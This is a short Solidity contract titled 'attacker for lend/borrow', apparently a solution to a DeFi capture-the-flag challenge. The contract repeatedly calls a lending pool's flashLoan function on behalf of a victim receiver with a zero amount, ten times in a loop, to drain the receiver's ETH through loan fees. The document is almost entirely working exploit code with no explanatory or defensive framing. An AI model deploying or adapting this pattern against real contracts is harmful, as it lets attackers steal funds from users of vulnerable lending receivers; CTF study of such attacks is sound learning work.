attacker for lend/borrow

naiveAttacker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";

contract NaiveAttacker {
    address pool;

    constructor(address payable _pool) {
        pool = _pool;
    }

    function emptyReceiverBalance(address payable receiver) external {
        require(receiver.balance > 0, "Receiver has 0 ETH left");
        bytes memory signature = abi.encodeWithSignature(
            "flashLoan(address,uint256)",
            receiver,
            0
        );

        for (uint8 i = 0; i < 10; i++) {
            (bool success, ) = pool.call(signature);
            console.log("%s", address(pool).balance);
            require(success, "Custom revert: error while calling pool");
        }
    }
}